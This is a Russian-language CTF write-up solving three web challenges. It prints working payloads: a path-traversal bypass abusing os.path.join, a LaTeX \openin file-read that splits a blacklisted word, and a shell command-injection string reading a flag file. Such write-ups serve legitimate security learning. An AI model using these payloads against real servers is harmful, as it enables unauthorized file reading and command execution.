Web Category — fil3serv3r.
URL задания: http://52.59.124.14:10000
При переходе по урлу, встречает следующий ответ:
Пробуем перейти в /flag.txt
, и сервер отвечает:
Flag is not here, it is in ../
Теперь посмотрим app.py
. В нём интересны следующие строки:
...
path = self.path.lstrip("/")
while ".." in path:
path = path.replace("../", "")
...
fpath = os.path.join(BASEPATH, "files", path)
...
Согласно спецификации метода os.path.join(path, *paths)
, если компонент представляет собой абсолютный путь, все предыдущие компоненты отбрасываются, и соединение продолжается с компонента абсолютного пути.
Соответственно, чтобы получить флаг и обойти фильтрацию, можно использовать абсолютный путь, используем следующий пейлоад:
/..//usr/src/app/flag.txt
И получаем первый флаг:
🚩ENO{PYTH0Ns_0sp4thj01n_fun_l0l}🚩
Web Category — Texnology (fixed)
URL задания: http://52.59.124.14:10005
Главная страничка говорит, о том что тут работает обработчик LaTeX
До этого никогда не работал с этим инструментом, поэтому нашёл хорошую статью — https://0day.work/hacking-with-latex/. В которой подробно описываются методы атаки на этот обработчик.
После многих попыток использования дефолтных пейлоадов, я понял, что следующие слова в блэклисте:
"(input|include|write18|immediate|FLAG)"
Был не заблочен метод openin
, но так как слово FLAG было в блэклисте нельзя было так просто прочитать его. Поэтому генерируем следующий пейлоад:
\def \first {\string/FL}
\def \second {AG.php}
\newread\file
\openin\file={\first\second}
\read\file to\line
\text{\line}
\closein\file
Его смысл в том, что мы разделяем слово FLAG на две части, \first=FL
и \second=AG.php
. Нажимаем Generate PDF! И получаем флаг.
🚩ENO{L4T3x_H4ck1Ng_R3L04D3D_OK_N0tBugGy!}🚩
Web Category — gitonator (Unintended solution)
Задание: nc 52.59.124.14 10001
Если узнаю как оно решалось правильно, то дополню этот пост!
Решение не так планировалось изначально разрабами таска. Вот пейлоад:
asd"; cat /FLAG; "
Результат:
🚩ENO{OO0oops_0day_1n_mY_t00lz_Thank_you_Justin:-)}🚩